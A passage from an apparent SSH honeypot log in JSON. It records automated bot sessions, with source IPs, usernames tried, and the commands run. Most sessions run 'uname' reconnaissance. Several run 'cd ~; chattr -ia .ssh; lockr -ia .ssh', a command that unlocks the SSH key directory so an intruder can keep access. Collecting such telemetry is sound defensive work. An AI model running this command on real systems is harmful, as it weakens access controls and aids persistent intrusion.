  "id": "8214b350-ff89-48e2-8fc9-1322ba610469",
  "name": "proud-granite-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45894,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 841,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:15:22.489710+00:00",
  "ended_at": "2026-08-26T12:15:23.905239+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "0b9f0e59-6863-4301-a4a7-6361752915e9",
  "name": "brisk-fleeting-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:04.994676+00:00",
  "ended_at": "2026-08-26T12:15:10.773233+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c49ab4fd-1ce9-4cd0-bb9a-b8dae4253d5b",
  "name": "lanky-granite-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48310,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:00.297289+00:00",
  "ended_at": "2026-08-26T12:15:05.693411+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "27a1f416-7522-4984-a555-5f07d0ebe4c9",
  "name": "misty-obsidian-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45910,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:14:59.789963+00:00",
  "ended_at": "2026-08-26T12:15:00.588831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "971493bc-dfc8-4a3c-98b8-157366e73303",
  "name": "merry-zealous-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45902,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:14:56.256257+00:00",
  "ended_at": "2026-08-26T12:14:58.089846+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c4d5897-711c-4c23-ba1f-7471fcba2bdb",
  "name": "silent-mellow-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 638,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:48.650928+00:00",
  "ended_at": "2026-08-26T12:14:53.319829+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "36467011-1ea6-433b-9d61-0b09593b5220",
  "name": "icy-umber-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 826,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:42.513691+00:00",
  "ended_at": "2026-08-26T12:14:45.978264+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "62d015ab-cccb-41a2-bd6f-a66c962d204f",
  "name": "brazen-vivid-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46278,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 949,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:26.667283+00:00",
  "ended_at": "2026-08-26T12:14:31.198936+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e1d82f6c-aa8d-4c95-b7ce-084b4710bce8",
  "name": "shaded-flinty-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 53126,
  "username": "jakob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:14:21.322038+00:00",
  "ended_at": "2026-08-26T12:14:24.634271+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3009364-dd01-4568-9cd9-4f93e826103d",
  "name": "mighty-plush-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59514,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1119,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:20.370342+00:00",
  "ended_at": "2026-08-26T12:14:25.921634+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "181bc5d0-cc52-4f40-88ff-a5c710d6c80b",
  "name": "lively-deft-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43376,
  "username": "jakob",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 991,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:16.137258+00:00",
  "ended_at": "2026-08-26T12:14:24.632863+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "e6549034-d307-4e71-a720-3268d18ead68",
  "name": "meadow-civil-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43430,
  "username": "adminuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 951,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:14:06.687142+00:00",
  "ended_at": "2026-08-26T12:14:12.335786+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c31de716-4406-4434-953d-0691c39dcc7c",
  "name": "glacial-clever-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1164,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:13:52.874711+00:00",
  "ended_at": "2026-08-26T12:13:56.187328+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff580137-b759-46b2-9a30-75172b4814ac",
  "name": "merry-stoic-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1038,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:13:42.670832+00:00",
  "ended_at": "2026-08-26T12:13:45.725516+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f565c60c-3177-44a7-aa2e-c07fa2731777",
  "name": "upland-cosmic-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 960,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:13:28.716159+00:00",
  "ended_at": "2026-08-26T12:13:33.346511+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d337b86-e8b9-4c34-b9b2-e84be293b97f",
  "name": "loyal-dewy-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57010,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 735,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:13:06.281872+00:00",
  "ended_at": "2026-08-26T12:13:10.854470+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fa40c752-8d4b-483f-b086-0af959b1068b",
  "name": "balmy-gloomy-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35516,
  "username": "gns3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:59.332819+00:00",
  "ended_at": "2026-08-26T12:13:11.710692+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "76207f1e-6b6e-4b1b-b5e2-6b07c1e686c0",
  "name": "smoky-sunlit-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40602,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 506,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:51.427037+00:00",
  "ended_at": "2026-08-26T12:12:56.057006+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a284657-cbe0-4534-8bc2-ebc406d78b14",
  "name": "genial-arctic-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59366,
  "username": "gns3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:50.850861+00:00",
  "ended_at": "2026-08-26T12:13:11.708864+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "41ec9c90-cb07-4820-bc0c-b2b99517f0b6",
  "name": "chilly-ancient-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 857,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:12:36.692031+00:00",
  "ended_at": "2026-08-26T12:12:38.092738+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2271
 },
 {
  "id": "e0c20725-4736-4499-b6ce-c3d0651e2e49",
  "name": "seaward-rapid-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 41226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:12:32.222078+00:00",
  "ended_at": "2026-08-26T12:12:33.043134+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "9db5d0c2-42ee-4a2f-97bd-5fb44f56ed3b",
  "name": "somber-diligent-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45372,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 406,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:28.866140+00:00",
  "ended_at": "2026-08-26T12:12:33.024810+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10eb6326-d781-40d2-9db7-c9db1dff7751",
  "name": "idle-umber-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 57022,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:14.848530+00:00",
  "ended_at": "2026-08-26T12:12:19.443735+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b273d260-6ad4-4c7e-934f-589053b0588f",
  "name": "cunning-downy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:13.549712+00:00",
  "ended_at": "2026-08-26T12:12:17.308408+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9716eb80-e366-43d7-af52-5f328caadbbd",
  "name": "fearless-wooded-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:11.794104+00:00",
  "ended_at": "2026-08-26T12:12:13.690771+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "119a62dc-cfff-4598-9009-4768eff07876",
  "name": "icy-regal-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55806,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:09.272088+00:00",
  "ended_at": "2026-08-26T12:12:19.439293+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "dc9ca5d6-f666-4147-b057-7fb625593e14",
  "name": "watchful-primal-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:07.913848+00:00",
  "ended_at": "2026-08-26T12:12:10.088611+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6dc2d029-d9ac-4298-966d-5c817edb9cec",
  "name": "bashful-tranquil-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40646,
  "username": "tom",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:03.290972+00:00",
  "ended_at": "2026-08-26T12:12:07.518682+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7faf6040-1b95-44cf-a159-f3e78798cc32",
  "name": "dusty-nautical-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48618,
  "username": "tom",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 584,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:11:59.653139+00:00",
  "ended_at": "2026-08-26T12:12:07.519757+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "1bc23f31-9370-4363-a4bb-da699d76892e",
  "name": "tender-kindly-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 46524,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:11:58.215056+00:00",
  "ended_at": "2026-08-26T12:11:59.690640+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "98dcabee-f037-40e6-b888-ea545cca4e11",
  "name": "zealous-sullen-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59370,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:11:48.320882+00:00",
  "ended_at": "2026-08-26T12:11:55.162460+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3baea7bb-c080-4cba-8a92-7085c9677ef9",
  "name": "inland-vaulted-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40548,
  "username": "es",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 452,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:11:41.604664+00:00",
  "ended_at": "2026-08-26T12:11:55.163811+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1655
 },
 {
  "id": "f7cf95dc-654f-4bac-bd90-637a0899dbc1",
  "name": "whispering-woven-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37146,
  "username": "worker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:11:25.514027+00:00",
  "ended_at": "2026-08-26T12:11:31.022178+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d50e8fb1-aa2d-4b4c-9324-65a970c8e96a",
  "name": "balmy-misty-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41904,
  "username": "worker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 763,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:11:21.697325+00:00",
  "ended_at": "2026-08-26T12:11:31.023510+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "e9e41b2b-b8c5-4fe9-ba4b-8ac5487b78ed",
  "name": "scarlet-mossy-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 491,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:11:19.426546+00:00",
  "ended_at": "2026-08-26T12:11:23.618262+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fb8d290a-220c-447d-a52d-3920b3b03dfa",
  "name": "oaken-crisp-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55822,
  "username": "t1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:11:09.082853+00:00",
  "ended_at": "2026-08-26T12:11:13.433934+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6645c75a-b769-4c41-ac4e-d1f53d970ea3",
  "name": "craggy-burly-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34456,
  "username": "t1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 529,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:11:03.231668+00:00",
  "ended_at": "2026-08-26T12:11:13.435253+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "0cf29b71-efeb-42f2-97de-2e94c0956f55",
  "name": "weathered-opal-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40564,
  "username": "openvpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:10:43.964694+00:00",
  "ended_at": "2026-08-26T12:10:49.716233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc5a118b-da67-4cd4-88db-dda248ba9a3e",
  "name": "steady-balmy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:10:41.639362+00:00",
  "ended_at": "2026-08-26T12:10:45.531013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e1698496-f454-48f6-846d-3150f110b003",
  "name": "fringed-blunt-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35790,
  "username": "openvpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 619,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:10:36.906949+00:00",
  "ended_at": "2026-08-26T12:10:49.714958+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "99c5ea65-788e-4492-9afb-80e346b4716b",
  "name": "glacial-tawny-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56778,
  "username": "sysupdate",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:10:32.257628+00:00",
  "ended_at": "2026-08-26T12:10:37.036263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ec46512-c482-4646-b8b3-794d0d7db5dc",
  "name": "balmy-glassy-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53900,
  "username": "sysupdate",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 423,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:10:27.615352+00:00",
  "ended_at": "2026-08-26T12:10:37.037278+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "372b91be-41e2-4416-9300-b3634594218c",
  "name": "feral-primal-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 41884,
  "username": "odoo16",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:10:21.475223+00:00",
  "ended_at": "2026-08-26T12:10:27.824903+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7f7cff6-d4c9-4441-9934-04ddcd219d72",
  "name": "vigilant-sturdy-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54078,
  "username": "odoo16",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 612,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:10:17.560237+00:00",
  "ended_at": "2026-08-26T12:10:27.826138+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "fe382f18-ba9c-44f5-a65a-aad66811e80d",
  "name": "grumpy-foggy-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 34464,
  "username": "vbox",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:10:06.801603+00:00",
  "ended_at": "2026-08-26T12:10:10.826824+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a587da40-b85a-40a8-949d-d1536c33a889",
  "name": "proud-lunar-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39092,
  "username": "vbox",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 659,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:10:01.073921+00:00",
  "ended_at": "2026-08-26T12:10:10.828232+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "d88fad72-1dfe-4cd0-89ea-e697cf6dd402",
  "name": "wiry-tangled-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 45496,
  "username": "prashant",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 841,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:09:47.414572+00:00",
  "ended_at": "2026-08-26T12:09:49.015012+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2215
 },
 {
  "id": "da3cc679-63ed-45fa-8dd4-2378a6999e6e",
  "name": "autumn-vaulted-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60904,
  "username": "vagrant",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:09:45.144575+00:00",
  "ended_at": "2026-08-26T12:09:50.031756+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "419eda35-192a-4f75-9fa5-2410a0b98205",
  "name": "icy-vaulted-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40900,
  "username": "vagrant",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 808,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:09:39.685306+00:00",
  "ended_at": "2026-08-26T12:09:50.033522+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "5e6c9b3c-38ff-4da5-87d8-e9c1272cb4f5",
  "name": "forlorn-mindful-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43556,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 604,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:09:39.463494+00:00",
  "ended_at": "2026-08-26T12:09:44.729392+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0fa0c497-852b-42ed-a9e7-456fbc9131e8",
